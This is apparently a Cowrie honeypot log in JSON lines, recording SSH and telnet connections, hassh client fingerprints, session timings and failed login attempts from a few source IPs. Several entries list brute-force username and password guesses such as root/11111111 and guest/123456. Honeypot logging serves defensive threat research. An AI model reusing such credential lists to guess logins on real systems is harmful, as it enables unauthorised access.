{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:55.507060Z","src_ip":"91.92.42.227","session":"39058504d299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:59.146156Z","src_ip":"91.92.42.227","session":"8d1db18592c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59138,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bdf9ce8ecea","protocol":"ssh","message":"New connection: 91.92.42.227:59138 (10.17.0.5:22) [session: 1bdf9ce8ecea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:00.095857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:01.219786Z","src_ip":"91.92.42.227","session":"1bdf9ce8ecea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:01.223104Z","src_ip":"91.92.42.227","session":"1bdf9ce8ecea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:01.349155Z","src_ip":"91.92.42.227","session":"8d1db18592c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty123","message":"login attempt [test/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:07.086894Z","src_ip":"91.92.42.227","session":"1bdf9ce8ecea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37180,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8b63646eeac","protocol":"ssh","message":"New connection: 91.92.42.227:37180 (10.17.0.5:22) [session: a8b63646eeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:07.409472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:08.420621Z","src_ip":"91.92.42.227","session":"a8b63646eeac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:08.424404Z","src_ip":"91.92.42.227","session":"a8b63646eeac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:09.172758Z","src_ip":"91.92.42.227","session":"1bdf9ce8ecea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51256,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f39e47ef43f","protocol":"telnet","message":"New connection: 128.199.8.54:51256 (159.203.135.109:23) [session: 7f39e47ef43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:10.692422Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43024,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d40d1d8671a","protocol":"telnet","message":"New connection: 172.81.62.90:43024 (10.17.0.5:23) [session: 1d40d1d8671a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:12.098244Z"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123321","message":"login attempt [gabriel/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:14.230526Z","src_ip":"91.92.42.227","session":"a8b63646eeac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37248,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b1f5fa3189a","protocol":"ssh","message":"New connection: 91.92.42.227:37248 (10.17.0.5:22) [session: 7b1f5fa3189a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:14.377468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:15.585621Z","src_ip":"91.92.42.227","session":"7b1f5fa3189a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:15.588368Z","src_ip":"91.92.42.227","session":"7b1f5fa3189a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":42762,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4947a2f5e7c","protocol":"ssh","message":"New connection: 103.252.123.105:42762 (159.203.135.109:22) [session: f4947a2f5e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:15.786793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:15.789874Z","src_ip":"103.252.123.105","session":"f4947a2f5e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:16.019774Z","src_ip":"103.252.123.105","session":"f4947a2f5e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:16.473837Z","src_ip":"91.92.42.227","session":"a8b63646eeac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wall","password":"wall","message":"login attempt [wall/wall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:16.974712Z","src_ip":"103.252.123.105","session":"f4947a2f5e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:18.208134Z","src_ip":"103.252.123.105","session":"f4947a2f5e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39846,"dst_ip":"10.17.0.5","dst_port":22,"session":"82256b0392d8","protocol":"ssh","message":"New connection: 91.92.42.227:39846 (10.17.0.5:22) [session: 82256b0392d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:21.224939Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:22.010050Z","src_ip":"91.92.42.227","session":"7b1f5fa3189a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:22.770905Z","src_ip":"91.92.42.227","session":"82256b0392d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:22.784031Z","src_ip":"91.92.42.227","session":"82256b0392d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:24.576923Z","src_ip":"91.92.42.227","session":"7b1f5fa3189a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35288,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee0b9fae0e5a","protocol":"ssh","message":"New connection: 91.92.42.227:35288 (10.17.0.5:22) [session: ee0b9fae0e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:27.731377Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:30.054105Z","src_ip":"91.92.42.227","session":"82256b0392d8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:30.057331Z","src_ip":"91.92.42.227","session":"ee0b9fae0e5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:30.071850Z","src_ip":"91.92.42.227","session":"ee0b9fae0e5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36580,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee4f313a785e","protocol":"ssh","message":"New connection: 45.156.87.147:36580 (10.17.0.5:22) [session: ee4f313a785e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:30.495903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:30.499452Z","src_ip":"45.156.87.147","session":"ee4f313a785e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:30.581738Z","src_ip":"45.156.87.147","session":"ee4f313a785e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.002585887908936,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:31.024602Z","src_ip":"128.199.8.54","session":"f0ee71c5ae36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:32.631283Z","src_ip":"91.92.42.227","session":"82256b0392d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53352,"dst_ip":"10.17.0.5","dst_port":22,"session":"41d227126a03","protocol":"ssh","message":"New connection: 91.92.42.227:53352 (10.17.0.5:22) [session: 41d227126a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:35.613597Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:36.612240Z","src_ip":"91.92.42.227","session":"ee0b9fae0e5a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:37.153204Z","src_ip":"91.92.42.227","session":"41d227126a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:37.155797Z","src_ip":"91.92.42.227","session":"41d227126a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:38.498266Z","src_ip":"45.156.87.147","session":"ee4f313a785e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34580,"dst_ip":"10.17.0.5","dst_port":22,"session":"e30ec5b9e025","protocol":"ssh","message":"New connection: 103.27.238.116:34580 (10.17.0.5:22) [session: e30ec5b9e025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:40.070714Z"}
